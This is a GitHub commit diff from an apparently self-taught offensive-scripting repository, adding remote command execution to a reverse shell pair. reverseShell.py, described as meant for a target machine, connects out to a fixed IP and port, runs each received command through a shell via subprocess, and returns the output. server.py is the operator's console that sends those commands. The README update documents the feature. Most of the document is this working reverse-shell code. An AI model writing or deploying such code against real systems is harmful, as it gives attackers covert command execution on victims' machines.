Skip to content

Commit ea10a7a

Browse files
committed
Add remote command execution - server.py / Update README.md
1 parent 1d9b790 commit ea10a7a

File tree

4 files changed

+22
-8
lines changed

4 files changed

+22
-8
lines changed

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,4 +70,7 @@
7070
**server.py v1.1**: Upgrade of the script. Allows the script to connect to a remore system (in this case it's the local machine) and send and receive messages between the two programs.
7171
![reverseShell Screenshot 2](README_Screenshots/reverseShell_Screenshot2.png)
7272

73+
**server.py v1.2**: Allows the script to now continusouly execute commands on the remote system and print the results to the console.
74+
![reverseShell Screenshot 3](README_Screenshots/reverseShell_Screenshot3.png)
7375

76+
2. **reverseShell.py**: Works in conjunction with server.py. This script is designed to be placed on the target machine and establish a connection with the command system, waiting for command to execute and send back.
86.6 KB
Loading

Reverse_Shell_Scripts/reverseShell.py

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,17 @@
33
# Date: 01/22/2021
44

55
import socket
6+
import subprocess
67

78
def shell():
8-
command = sock.recv(1024)
9-
message = "You have successfully retrieved this message"
10-
sock.send(message.encode())
9+
while True:
10+
command = sock.recv(1024)
11+
if command.decode() == ':q':
12+
break
13+
else:
14+
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
15+
result = proc.stdout.read() + proc.stderr.read()
16+
sock.send(result)
1117

1218
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1319
sock.connect(("192.168.7.125", 54321))

Reverse_Shell_Scripts/server.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,17 @@
44

55
import socket
66
from termcolor import colored
7+
import subprocess
78

89
def shell():
9-
command =input("Shell#~%s: " % str(ip))
10-
target.send(command.encode())
11-
message = target.recv(1024)
12-
print(message.decode())
13-
10+
while True:
11+
command = input("Shell#~%s: " % str(ip))
12+
target.send(command.encode())
13+
if command == ':q':
14+
break
15+
else:
16+
result = target.recv(1024)
17+
print(result.decode())
1418

1519
def server():
1620
global sock
@@ -27,3 +31,4 @@ def server():
2731

2832
server()
2933
shell()
34+
sock.close()

0 commit comments

Comments
 (0)